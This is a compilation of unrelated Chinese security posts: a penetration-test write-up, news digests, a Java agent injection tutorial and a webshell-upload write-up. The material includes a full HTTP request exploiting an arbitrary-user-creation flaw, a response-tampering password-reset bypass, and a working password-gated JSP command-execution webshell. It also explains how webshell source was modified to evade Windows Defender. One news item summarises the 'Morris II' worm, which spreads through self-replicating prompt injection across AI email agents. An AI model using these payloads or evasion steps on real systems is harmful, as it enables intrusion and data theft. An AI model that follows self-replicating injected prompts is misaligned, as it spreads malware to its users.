0x01 信息收集 第一步当然是从信息收集开始，因为通常主域名基本不会含有高危漏洞。可以通过子域名->子域名端口扫描的方式去进行一个信息收集用来提高攻击面。这里是用fofa进行攻击面的扩大。（如果fofa脆弱系统较少可以自己爆破子域名+端口1-65535扫描的方式去进行渗透测试）。 然后把资产去重，可以使用关键词用来寻找一些存在漏洞概率高一些的系统。比如搜索有登录的系统，可以添加body="登录"这种关键字去进行查找。比如这里是找到了一个日志系统。 也可以通过googlehack进行搜索学号，身份证之类的信息。可以通过学号身份证这些信息用来登录某些系统，大部分的学校系统的口令格式是学号/身份证后6位。（这里随便找一个案例） 0x02 命令执行 可以根据通用系统的历史漏洞去对该系统进行渗透测试。 首先尝试默认口令进行登录 admin/panabit 未果。 然后建议百度搜索时间设置为一年内，可以省不少时间实际测试感觉一年之前的漏洞修复概率比较高。（可能是一年一次hvv的原因？） 也可以用微信的公众号搜索，比较推荐，因为准确率比较高，都是一些新出的漏洞。 然后使用任意用户创建漏洞添加一个用户 POST /singleuser_action.php HTTP/1.1 Host: xxxx Cookie: xxxx Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="92" Accept: */* X-Requested-With: XMLHttpRequest Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: xxxx Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 574 { "syncInfo": { "user": { "userId": "001", "userName": "001", "employeeId": "001", "departmentId": "001", "departmentName": "001", "coporationId": "001", "corporationName": "001", "userSex": "1", "userDuty": "001", "userBirthday": "001", "userPost": "001", "userPostCode": "001", "userAlias": "001", "userRank": "001", "userPhone": "001", "userHomeAddress": "001", "userMobilePhone": "001", "userMailAddress": "001", "userMSN": "001", "userNt": "001", "userCA": "001", "userPwd": "001", "userClass": "001", "parentId": "001", "bxlx": "001" },"operationType": "ADD_USER" } } 成功登录后台 然后使用后台命令执行进行getshell，成功进入内网。系统维护->终端命令 0x03 内网渗透 首先使用fscan扫描一波内网。 其中有个ftp弱口令，这里stuinfo.sql可能是某个数据库的备份文件。根据名字猜测是学生信息的备份。 下载之后导入本地数据库打开，果然泄露了一堆身份证，学号这些信息。 之后还在另外一个back文件夹中发现了另外一个xls表格， ssh弱口令一堆，随便 h3c默认密码登录 0x04 任意密码找回 这里是另外一个外网系统。因为内网属实是没啥东西所以又得重新去外网找找有没有其他漏洞。 确定存在用户，输入用户名会发送一个包，不存在用户返回0，存在返回1 点击忘记密码，随便输入密保问题跟答案。 Burp抓包，将验证返回包中的false改为true。 然后就发现跳转到了修改密码的页面 这时直接修改一波密码，ok成功登录 0x05 总结 主要内网的一些问题还是弱口令使用较多，而且老版本的漏洞基本不修复的问题。另外一提进行渗透测试必须获得目标单位的合法授权，并且在合规框架下进行。在任何情况下，未经授权的渗透测试行为都是违法的，可能导致严重的法律后果。因此，在进行任何安全测试之前，请务必与目标单位达成明确的协议和授权。

1、新型Linux恶意软件攻击Docker和其他关键应用程序 https://www.cadosecurity.com/spinning-yarn-a-new-linux-malware-campaign-targets-docker-apache-hadoop-redis-and-confluence/ 近期，研究人员现了一种名为SpinningYarn的新型Linux恶意软件活动，其目标是运行ApacheHadoopYARN、Docker、Confluence和Redis面向Web服务的配置错误的服务器。SpinningYarn是一种恶意活动，利用了各行业企业使用的流行Linux软件的弱点。这些服务是组织IT基础设施中的重要组成部分。Docker对 2、GhostSec与Stourmous联手发起勒索软件攻击 https://blog.talosintelligence.com/ghostsec-ghostlocker2-ransomware/ 研究人员最新的报告指出，两个黑客团伙GhostSec和Stourmous正在联合进行一场勒索软件攻击。这场攻击利用了新的GhostLocker2.0勒索软件，该软件是GhostLocker勒索软件的Golang版本。这两个团伙启动了一个名为STMX_GhostLocker的勒索软件即服务(RaaS)运营，为其附属成员提供多种选项。这一发现表明，勒索软件攻击者正在不断创新其攻击手段，以适应不断变化的网络安全环境。GhostSec和Stourmous通过这种合 3、BlackCat勒索软件疑似复苏 https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/resurgence-of-blackcat-ransomware/ 2024年3月6日，研究人员发布了关于BlackCat勒索软件的复苏的报道。美国司法部在2023年12月19日对该组织进行了打击，但最近的观察显示，BlackCat组织在被打击后不久便卷土重来。他们在2月21日对ChangeHealthcare发起了重大攻击，ChangeHealthcare是Optum的一部分，隶属于UnitedHealthGroup。据报道，该组织声称从ChangeHealth 4、VMware发布Workstation、ESXi等关键安全补丁 https://www.vmware.com/security/advisories/VMSA-2024-0006.html 近日，VMware已发布补丁来解决影响ESXi、Workstation和Fusion的四个安全缺陷，其中包括两个可能导致代码执行的严重缺陷。这些漏洞被追踪为CVE-2024-22252和CVE-2024-22253，被描述为XHCIUSB控制器中的释放后使用错误。Workstation和Fusion的CVSS得分为9.3，ESXi系统的CVSS得分为8.4。研究人员表示，在虚拟机上拥有本地管理权限的恶意行为者可能会利用此问题在主机上运行虚拟机的VMX进程时执行代码。在 5、思科修补 VPN 产品中的高严重性漏洞 https://www.securityweek.com/cisco-patches-high-severity-vulnerabilities-in-vpn-product/ 思科周三发布了针对 Secure Client 中两个高严重性漏洞的补丁，Secure Client 是一款企业 VPN 应用程序，还包含安全和监控功能。 6、FBI发布互联网犯罪报告称2023 年网络犯罪损失达 125 亿美元 https://securityaffairs.com/160142/cyber-crime/2023-fbi-internet-crime-report.html FBI 网络犯罪投诉中心 (IC3) 发布的《2023 年网络犯罪报告》显示，2023 年报告的网络犯罪损失达到 125 亿美元。与 2022 年相比，这一数字标志着报告的损失激增 22%。 7、Snak信息窃取恶意程序通过Facebook消息传播 https://securityaffairs.com/160131/malware/snake-info-stealer.html Cybereason 研究人员警告称，威胁行为者正在利用 Facebook 消息传播 Snake 恶意软件，这是一种基于 Python 的信息窃取程序。 8、CISA 将 iOS内存破坏漏洞添加到其已知被利用的漏洞目录中 https://securityaffairs.com/160124/security/cisa-apple-ios-and-ipados-bugs-to-its-known-exploited-vulnerabilities-catalog.html 美国网络安全和基础设施安全局 (CISA) 在其已知利用漏洞 (KEV) 目录中添加了 以下漏洞 ：CVE-2024-23225 和 CVE-2024-23296。 9、韩国警方开发 Deepfake 检测工具 https://www.infosecurity-magazine.com/news/south-korea-police-deepfake/ 该工具将能够在大约 5 到 10 分钟内确定视频内容是否是使用 AI 技术人工生成的。警方表示，该软件有 80% 的概率检测视频是否真实。 10、台湾省中华电信发生数据泄露事件 http://www.anquan419.com/knews/24/6662.html 台湾省当地最大的电信服务提供商中华电信股份有限公司发生数据泄露事件，目前被黑客窃取的 1.7TB 数据已出现在暗网黑客论坛中。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

1、乌克兰情报部门宣称成功入侵俄罗斯国防部 https://gur.gov.ua/content/soft-shyfry-sekretni-dokumenty-kiberfakhivtsi-hur-zlamaly-minoborony-rosii.html 乌克兰国防部主要情报总局(GUR)宣布，其网络专家成功侵入俄罗斯国防部的服务器，并获得了大量机密文件。这些文件披露了俄罗斯国防部的领导层，包括俄罗斯国防部各部门的其他高级官员。这包括代表、助理和专家，以及使用被称为“官僚”的电子文件管理系统的个人。据悉，这些文件包括俄国防部副部长Timur Vadimovich Ivanov的官方文件。GUR表示，这次网络攻击的成功，使得乌克兰情报 2、新的CHAVECLOAK银行木马通过恶意PDF针对巴西用户 https://www.fortinet.com/blog/threat-research/banking-trojan-chavecloak-targets-brazil 研究人员近日发现，一种名为“CHAVECLOAK”的新型银行木马正在通过恶意PDF文件针对巴西用户。这种攻击涉及下载ZIP文件，并使用DLL侧加载技术执行最终的恶意软件。CHAVECLOAK专门设计用来窃取与金融活动相关的敏感信息。攻击流程如下：受害者被诱导点击PDF中的按钮以查看和签署附件文档，但实际上PDF中嵌入了恶意下载链接。这个链接通过“Goo.su”这样的免费链接缩短服务进行处理，最终重定向到一个ZIP文件的下 3、TA577组织转向盗取NTLM认证信息 https://www.proofpoint.com/uk/blog/threat-insight/ta577s-unusual-attack-chain-leads-ntlm-data-theft 研究人员发现，TA577这一威胁行为体现出不寻常的攻击链路，其目标是盗取NT LAN Manager(NTLM)认证信息。TA577通过电子邮件中的压缩HTML附件，对全球数百个组织发起了数万条信息攻击。这些附件一旦被打开，就会触发系统尝试连接到外部的Server Message Block(SMB)服务器。TA577的目的是从SMB服务器获取NTLMv2挑战/响应对，以窃取NTLM哈希值。这些 4、研究人员发现一种自传播的零点击Gen AI蠕虫 https://sites.google.com/view/compromptmized 研究人员发现了一种名为“Morris II”的新型Gen AI蠕虫，它能够通过智能提示工程和注入技术欺骗生成式AI应用程序，从而传播恶意软件。这种蠕虫利用对抗性自复制提示，导致生成式AI系统在响应时复制输入作为输出，进而将恶意软件传播给其他AI代理。研究人员强调，设计生成式AI生态系统时，应考虑到由底层Gen AI层引起的威胁。这种蠕虫的自我复制能力使其能够在网络中自主传播，无需攻击者进一步操作。研究人员展示了“Morris II”如何渗透并利用生成式AI驱动的电子邮件系统，展示了其在没有直接人类监督的 5、黑客滥用QEMU隧道隐藏网络流量 https://securelist.com/network-tunneling-with-qemu/111803/ 研究人员发现，黑客在针对一家大型公司的网络攻击中滥用开源虚拟化平台QEMU作为隧道工具。这种攻击涉及使用“Angry IP Scanner”进行网络扫描、“mimikatz”进行凭证盗窃，并利用QEMU创建复杂的网络隧道设置，以建立隐蔽的通信渠道。这种隧道通常加密流量，以逃避防火墙和入侵检测系统的监控。研究人员指出，攻击者利用QEMU的能力来模拟操作系统和硬件平台，将其操纵为创新的隧道机制。这一发现突显了网络安全领域中的新挑战，以及保护组织免受此类隐蔽攻击的重要性。 6、苹果修复iPhone遭攻击的两个零日漏洞 https://support.apple.com/en-us/HT214081 苹果公司近日发布了紧急安全更新，修复了两个在攻击中被利用的iOS零日漏洞。这两个漏洞被发现存在于WebKit浏览器引擎和操作系统的核心——内核中。第一个零日漏洞(追踪编号CVE-2024-23225)允许拥有内核读写权限的攻击者绕过内核内存保护。同样，第二个零日漏洞(追踪编号CVE-2024-23296)存在于运行在所有苹果芯片或嵌入式设备上的RTKitOS中。如果被具有内核读写权限的攻击者利用，这个漏洞也能被用来绕过内核内存保护。尽管苹果公司目前对这些漏洞的具体细节保持谨慎，以便用户有时间更新他们的设备，但强 7、韩国情报机关称两家芯片公司数据被朝鲜黑客窃取 https://www.nis.go.kr:4016/CM/1_4/view.do?seq=286 据韩国国家情报院(NIS)透露，朝鲜黑客侵入了韩国的两家芯片设备制造商的服务器，窃取了产品设计图和设施照片。这次网络攻击发生在去年12月和今年2月，被认为是朝鲜为了规避国际制裁并自行生产用于武器计划的半导体芯片所采取的行动。NIS表示，朝鲜可能正面临由于制裁而难以获取半导体的困境，因此试图自产芯片，尤其是用于其卫星和导弹等武器计划的芯片。此外，NIS还警告其他芯片制造业公司提防可能的网络攻击。朝鲜一直否认参与网络犯罪，但韩国多次指责其黑客通过网络攻击窃取大量资金，通常是加密货币，以资助其政权和 8、JetBrains TeamCity关键漏洞在近日被修复 https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/ 近日，研究人员发现JetBrains TeamCity CI/CD服务器存在两个严重的身份验证绕过漏洞，分别为CVE-2024-27198和CVE-2024-27199。CVE-2024-27198是由于替代路径问题导致的身份验证绕过漏洞，其CVSS基础评分为9.8(严重)。CVE-20 9、针对亚太地区！iOS 木马开始窃取面部识别数据 https://www.freebuf.com/articles/network/392979.html 2023 年 10 月，针对越南五十余家金融机构进行攻击的安卓银行木马 GoldDigger 浮出水面。通过对其持续跟踪分析，研究人员发现一整套针对亚太地区的银行木马。其中，研究人员发现了一个专门针对 iOS 用户的新型木马，被命名为 GoldPickaxe.iOS。GoldPickaxe 不仅有安卓版本，也覆盖了 iOS 平台。GoldPickaxe.iOS 木马的典型特征就是能够收集面部识别数据、身份的证件并拦截短信，尽管安卓平台的木马早就有这些功能。 10、全国首部公共安全摄像头管理地方性法规施行 https://www.thepaper.cn/newsDetail_forward_26542371 《株洲市公共安全视频图像信息系统管理条例》3月1日起在湖南省株洲市施行，这被称作是全国第一部管理公共安全摄像头的地方性法规。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

什么是Java agent技术？ Java代理（Java agent）是一种Java技术，它允许开发人员在运行时以某种方式修改或增强Java应用程序的行为。Java代理通过在Java虚拟机（JVM）启动时以"代理"（agent）的形式加载到JVM中，以监视、修改或甚至完全改变目标应用程序的行为。 Java agent 可以做什么？ 安全监控和审计： 通过Java代理，可以在应用程序中注入代码以监视其行为并记录关键事件。这可以用于安全审计目的，以确保应用程序不受到恶意行为或违规操作的影响。 安全验证和授权： Java代理可以拦截对受保护资源的访问，并执行安全验证和授权操作。通过代理，可以实现访问控制策略，确保只有经过授权的用户或系统可以访问特定资源。 安全加固： 通过Java代理，可以对应用程序进行安全加固，例如实时检测和防御攻击，包括代码注入、SQL注入、跨站点脚本攻击等。代理可以拦截请求，并根据安全策略进行处理，从而提高应用程序的安全性。 加密和解密： Java代理可以用于实现端到端的数据加密和解密，保护敏感数据在传输过程中的安全性。代理可以拦截数据流，对数据进行加密或解密操作，以确保数据在传输过程中不会被窃取或篡改。 安全日志记录： Java代理可以用于记录应用程序的安全日志，包括用户操作、异常事件、安全警报等。通过代理，可以将安全日志发送到中央日志服务器进行集中管理和分析，以便及时发现和应对安全威胁。 静态Agent使用 创建Maven项目，写一个类PreMainTraceAgent，使用Maven编译并打成jar包。 package com.example; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; public class PreMainTraceAgent { public static void premain(String agentArgs, Instrumentation inst) { System.out.println("agentArgs : " + agentArgs); inst.addTransformer(new DefineTransformer(), true); } static class DefineTransformer implements ClassFileTransformer { static int counts=0; @Override public byte[] transform( ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer ) throws IllegalClassFormatException { System.out.println("premain load Class:" + className); System.out.println("filter "+(counts++)+" class"); return classfileBuffer; } } } 打成jar包之后我们要注意META-INF目录下的MSNIFEST.MF文件，MANIFEST.MF文件是 Java 归档文件（如 JAR文件）的一部分，用于描述归档文件的元数据信息和配置。它通常位于归档文件的根目录下。 一些常见的属性我们需要了解 Manifest-Version: 描述了 MANIFEST.MF 文件的版本。 Created-By: 描述了创建该归档文件的工具名称和版本。 Main-Class: 描述了可执行 JAR 文件的入口类（Main类），当您执行 JAR 文件时，Java虚拟机会自动寻找并执行该类中的main方法。 Class-Path: 描述了归档文件中包含的依赖项 JAR 文件的路径，以便 Java 虚拟机在运行时能够找到并加载这些依赖项。 在构建和部署 Java 应用程序时，MANIFEST.MF文件可以帮助指定各种元数据信息，使得应用程序可以更好地被管理和执行。例如，当您创建一个可执行的JAR 文件时，通过指定 Main-Class 属性，可以告诉 Java 虚拟机该 JAR文件的入口点是哪个类。 另外创建一个项目，写一个主函数，内容随意，配置虚拟机选项。这里-javaagent:后面跟上上面项目jar包的绝对路径。 运行结果如图： 可以看到premain方法中的代码成功的执行在了Main函数之前。这种使用premain方法在Main函数前执行的也被成为静态agent 动态Agent使用 首先是被代理部分（单独的项目） package com.example; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; public class AgentMain { public static void agentmain(String agentArgs, Instrumentation instrumentation) { instrumentation.addTransformer(new MyTransformer(),true); } public static class MyTransformer implements ClassFileTransformer { static int count = 0; @Override public byte[] transform( ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { System.out.println("hello world");//这里就是我们能看到的输出。 return classfileBuffer; } } } 接下来就是使用Maven打成jar包 默认情况下META-INFMANIFEST.MF文件中有这些内容 Manifest-Version: 1.0 Created-By: Maven JAR Plugin 3.3.0 Build-Jdk-Spec: 11 但是这些是不够的，我们需要指出被代理的类。 Manifest-Version: 1.0 Agent-Class: com.example.AgentMain Can-Redefine-Classes: true Can-Retransform-Classes: true Agent-Class：指定了代理的入口类。这个属性告诉 Java 虚拟机代理应该从哪个类的 premain 或 agentmain方法开始执行。premain 方法用于静态代理（在 JVM启动时加载），而 agentmain 方法用于动态代理（在 JVM运行时加载）。代理的入口类必须包含其中一个方法。 Can-Redefine-Classes：指定了代理是否可以重新定义类。如果设置为 true，代理将允许重新定义已经加载的类，这意味着你可以修改已经加载的类的字节码。这对于某些代理操作，如热代码替换，非常有用。 Can-Retransform-Classes：指定了代理是否可以重新转换类。如果设置为 true，代理将允许重新转换已经加载的类，这意味着你可以多次修改已经加载的类的字节码。这对于一些特定的代理操作也是非常有用的，如AOP（面向切面编程）。 因为是动态加载所以我们不需要在虚拟机启动选项中指定jar包的路径。 接下来写主程序的测试类 package org.example; import com.sun.tools.attach.VirtualMachine; import java.io.File; import java.lang.management.ManagementFactory; public class TestMain { public static void main(String[] args) { String agentJarPath = "C:Users86186DesktopstudyJavauntitledtargetuntitled-1.0-SNAPSHOT.jar"; File agentJarFile = new File(agentJarPath); if (!agentJarFile.exists()) { System.err.println("Agent JAR file not found."); return; } String name = ManagementFactory.getRuntimeMXBean().getName(); String pid = name.split("@")[0]; if (pid == null) { System.err.println("Unable to find process ID."); return; } String targetClassName = "AgentMain"; try { VirtualMachine vm = VirtualMachine.attach(pid); vm.loadAgent(agentJarPath,targetClassName); vm.detach(); } catch (Exception e) { e.printStackTrace(); } } } 这里在获取进程号的时候会因为版本的不同而出现错误，java9以下默认是正常的，java9以上会出现报错，我们需要在虚拟机启动参数中加上-Djdk.attach.allowAttachSelf=true。 运行结果： 为什么结果中有多个helloworld 这里有讲一下为什么我们在代码中之用了一次sout，但是在结果中却出现了多个helloworld。 MyTransformer类中的transform方法中的输出语句只会在类被加载时执行一次，但是它会对每个类文件调用一次。由于一个类可能会由多个ClassLoader加载，或者同一个ClassLoader可能会加载多次，因此会导致多次输出。 这种情况通常在Java应用程序中使用了多个ClassLoader时发生，例如Web应用程序中的热部署或者OSGi环境中。每次类被加载，transform方法都会被调用一次，因此会看到多次输出。 我们可以修改一下代码做测试，这里我在每个helloworld后添加了被加载类的名字 修改后的输出结果： 实战示例：修改目标虚拟机中执行的程序 第一步 首先我们写出我们正在执行的程序：循环打印helloworld。 package org.example; import static java.lang.Thread.sleep; public class Main { public static void main(String[] args) throws InterruptedException { while(true) { hello(); sleep(1500); } } public static void hello(){ System.out.println("Hello World!"); } } 第二步 准备我们的agentmain和ClassFileTransformer实现类。 package com.example; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.lang.instrument.Instrumentation; import java.lang.instrument.UnmodifiableClassException; import java.security.ProtectionDomain; public class AgentMain { public static void agentmain(String agentArgs, Instrumentation instrumentation) throws UnmodifiableClassException { Class [] classes = instrumentation.getAllLoadedClasses(); //获取目标JVM加载的全部类 for(Class cls : classes){ if (cls.getName().equals("org.example.Main")){ instrumentation.addTransformer(new HackTransform(),true); instrumentation.retransformClasses(cls); } // System.out.println(cls.getName()); } } } package com.example; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import java.io.IOException; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain; public class HackTransform implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { if (className.equals("org/example/Main")) { try { System.out.println(className); ClassPool classPool = ClassPool.getDefault(); if (classBeingRedefined != null) { ClassClassPath ccp = new ClassClassPath(classBeingRedefined); classPool.insertClassPath(ccp); } CtClass ctClass = classPool.get("org.example.Main"); System.out.println(ctClass); CtMethod ctMethod = ctClass.getDeclaredMethod("hello"); //设置方法体 String body = "{System.out.println("[+]Hacker!！");}"; ctMethod.setBody(body); ctClass.defrost(); return ctClass.toBytecode(); } catch (Exception e) { e.printStackTrace(); } } return null; } } 第三步 把第二步中的两个类打成jar包。并修改其中MANIFEST.MF中的内容。 MANIFEST.MF中的内容 Manifest-Version: 1.0Agent-Class:com.example.AgentMainCan-Redefine-Classes: trueCan-Retransform-Classes:true 第四步 写我们的注入代码 package org.example; import com.sun.tools.attach.*; import java.io.IOException; import java.util.List; public class inject { public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { //调用VirtualMachine.list()获取正在运行的JVM列表 List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list) { System.out.println(vmd.displayName()); if (vmd.displayName().equals("org.example.Main")) { //连接指定JVM VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); String agentJarPath = "C:Users86186DesktopstudyJavauntitledtargetuntitled-1.0-SNAPSHOT.jar"; //加载Agent virtualMachine.loadAgent(agentJarPath,"com.example.AgentMain"); //断开JVM连接 virtualMachine.detach(); } } } } 第五步 执行即可（先运行主java程序，后运行注入程序）

1、朝鲜黑客入侵两家韩国芯片公司窃取工程数据 https://www.nis.go.kr:4016/CM/1_4/view.do?seq=286 据韩国国家情报院(NIS)透露，朝鲜黑客侵入了韩国的两家芯片设备制造商的服务器，窃取了产品设计图和设施照片。这次网络攻击发生在去年12月和今年2月，被认为是朝鲜为了规避国际制裁并自行生产用于武器计划的半导体芯片所采取的行动。NIS表示，朝鲜可能正面临由于制裁而难以获取半导体的困境，因此试图自产芯片，尤其是用于其卫星和导弹等武器计划的芯片。此外，NIS还警告其他芯片制造业公司提防可能的网络攻击。朝鲜一直否认参与网络犯罪，但韩国多次指责其黑客通过网络攻击窃取大量资金，通常是加密货币，以资助其政权和 2、JetBrains TeamCity关键漏洞在近日被修复 https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/ 近日，研究人员发现JetBrains TeamCity CI/CD服务器存在两个严重的身份验证绕过漏洞，分别为CVE-2024-27198和CVE-2024-27199。CVE-2024-27198是由于替代路径问题导致的身份验证绕过漏洞，其CVSS基础评分为9.8(严重)。CVE-20 3、Hugging Face平台发现百余恶意AI模型 https://jfrog.com/blog/data-scientists-targeted-by-malicious-hugging-face-ml-models-with-silent-backdoor/ 研究人员在Hugging Face平台上发现了超过100个恶意的人工智能/机器学习(AI/ML)模型。这些模型中的一些能够在受害者的机器上执行代码，为攻击者提供了持久的后门。研究人员表示，这些模型的载荷使攻击者能够在受害者的机器上获得一个shell，从而完全控制受害者的机器，这被通常称为“后门”。这种悄无声息的渗透可能会让攻击者接触到关键的内部系统，并为大规模数据泄露甚至企业间谍活动 4、印度UPI系统遭洗钱应用程序滥用 https://www.cloudsek.com/whitepapers-reports/shadow-banking-in-your-pocket-exposing-android-app-used-by-money-mules 据研究人员的报告，网络犯罪分子正在利用一个名为XHelper的Android应用程序，在印度招募“洗钱骡子”，策划一场大规模的洗钱计划。这个恶意应用程序是招募和管理这些洗钱骡子的“关键工具”。通过这个应用程序，犯罪分子能够在不知情的用户中间转移资金，从而进行洗钱活动。这个洗钱计划的揭露，凸显了印度统一支付接口(UPI)系统面临的安全挑战。UPI作为一个创新的支付系 5、美国运通信用卡遭遇第三方数据泄露 https://www.mass.gov/doc/assigned-data-breach-number-2024-210-american-express-travel-related-services-company-inc/download 美国运通公司近日发布数据泄露通知，披露其第三方商户的支付硬件遭黑客攻击，导致客户信用卡信息可能被泄露。据《数字趋势》报道，这次数据泄露发生在马萨诸塞州，涉及美国运通旅游相关服务公司。受影响的商户遭受了未经授权的系统访问，客户的信用卡信息，包括账号、姓名和卡片有效期数据可能已经暴露。美国运通强调，被黑客攻击的是接受支付的硬件，而非美国运通直接控制的服 6、CrowdStrike全球威胁报告：云入侵上升75% https://www.freebuf.com/articles/paper/393157.html 近日，CrowdStrike发布了《2024年全球威胁报告》，揭示了网络攻击的最新趋势。报告指出，网络攻击生态系统仍在持续增长，CrowdStrike在2023年观察到了34个新的威胁参与者。同时，攻击者正越来越多地瞄准云环境，以满足其牟利需求，某些情况下甚至允许攻击者到达内部部署的服务器。 7、德国警方关闭该国最大的地下犯罪市场论坛 https://www.freebuf.com/news/393368.html inforisktoday网站消息，德国警方表示，在历时2年的调查后，他们逮捕了该国最大的网络犯罪地下市场之一的幕后操纵者，并查封了其网站域名。 8、乌克兰GUR称入侵了俄罗斯国防部服务器 https://www.freebuf.com/news/393297.html 近日，乌克兰国防部情报总局（GUR）声称入侵了俄罗斯国防部（Minoborony）的内部服务器，并成功窃取大量敏感文件。 9、研究表明14%的代码库存在超过10年的漏洞 http://www.anquan419.com/knews/24/6657.html 新思科技（Synopsys）发布的“开源安全和风险分析”（OSSRA） 报告分析了来自17个行业的1,000多个商业代码库，该研究表明91%的代码库被发现包含10个或更多版本过时的组件，有49%的代码库包含在过去两年内没有开发活动的组件，14%的代码库存在超过10年的漏洞。这意味着企业需要实施强大的安全策略，以更好地管理使用这些库所带来的风险。 10、亚马逊在售数10 余款智能门铃曝安全漏洞 https://www.consumerreports.org/home-garden/home-security-cameras/video-doorbells-sold-by-major-retailers-have-security-flaws-a2579288796/ 每月有数千个这样的视频门铃在亚马逊和其他在线市场上销售，包括沃尔玛、西尔斯以及全球受欢迎的市场Shein和Temu。 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。

上周初，被扔过来单位内部的一个链接，让渗透一下，本以为三下五除二很快就能测完，没想到在对抗杀软时费了一番功夫，再加上杂七杂八的事儿，经过了一个星期才测完(＃￣～￣＃)。打开链接，见到一个熟悉的登录框，是一个资产管理系统。 在进行了一番端口目录、认证机制、会话管理、授权访问等方面的检查后发现了一些问题，这里不做赘述，此次重点想写写拿shell的经历。进入主页面，没用多长时间就找到了上传点，而且有两个。一个是头像上传，涉及裁剪、压缩等操作。 另一个是工具上传，允许直接上传文件（包）。两全伤害取其轻，就用这个。 创建个txt，随便加点内容进去，burp抓包看看这个功能的情况。 上传成功，并且有回显路径，有戏。 访问一下文件地址也展现出来了，直接上马子试试。 被阻断，不允许上传.java、.class、.jsp、.html等类型文件。一看就是之前经历过渗透测试，吃过亏（事后查了一下这家软件公司，做了不少企业的资产管理系统，是个成熟的项目，而且公司在2023年中已经上市，尽管在北交所，也必然会遵循一定的代码规范）。刚才上传用的是冰蝎4，查看burp的history中并无请求出现，证明是前端验证。尝试绕过前端验证，直接将冰蝎源码上传。 成功绕过，并且返回了文件路径……这就要完活儿了？！似乎有些轻松。访问一下： 404，文件没了。紧接着又拿哥斯拉试了一遍，同样是返回了路径，同样是404……猜测可能有杀软，落地文件被删除。接下来要做免杀了，使用在线工具对webshell进行变异，上传后一路404，更加确定杀软的存在。并且这款杀软的静态特征检测库还很全，如果仅仅混淆边边角角的代码是无法过它的，猜测它是能够匹配关键代码、关键API。 变异的厉害了还抛出了500，破坏了webshell自身的逻辑，甚至是添加了错误代码。看来省事儿的方式效果不理想，想要落地还是得自己动手，ε=(´ο｀*)))唉。 最后使用了一个加长版的一句话木马才成功落地，请求如下： 访问文件路径并带上whoami。 直接就是administrator管理员。此马儿与传统的一句话jsp一样，也是用Runtime来执行命令，只不过前面加了一个参数pwd固定值判断，后面使用System.out来print一个String，并且这个String是命令执行的结果。 <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %> 但是蚁剑不给力，连接时报500。尝试了多种设置均以失败告终，哪位大神研究过蚁剑还请指导一下，Thanks♪(･ω･)ﾉ。 测试到这个地步对于这个活儿来说其实可以交差了，已经拿到了权限，但如果想进行横向的话是无法继续利用的，所以还是要做免杀。掏出珍藏多年的idea（鄙视自己一下ε(┬┬﹏┬┬)3），打开冰蝎，调好格式，尝试做混淆。鉴于前面踩过坑，已经了解到该杀软能够检测到关键代码，所以直接分析源码。作为webshell，回显是必须的功能，而对于冰蝎来说，response数据来自于request.getReader().readLine()。因此直接对第18行动手，先用注释尝试一下，随便填加一些字符。 发送请求： 成功。访问一下回显路径： 空白页，没有报404，证明文件确实落地了，没有被杀掉。上冰蝎： 连接成功！免杀完毕。这次是真的可以交差了。进来后第一件事儿就是看看到底是哪个杀软在作祟： MsMpEng.exe，微软的Windows Defender。 好奇心驱使，又拿了一个原版的冰蝎本地验证一下，果不其然，被秒杀（图中右上角的文件）： 总结，这次拿shell的过程主要是在对抗杀软上耗费了很多时间，其次是在寻找杀软的进程上。因为服务器上一般都有专业杀毒软件或者HIDS防护，没有想到是Windows自己的Defender。虽然在写的时候只用一句话一张图带过，但在搜索进程的时候还特地整理了一份常见杀软的表格，挨个儿比对才有了最后那张图。

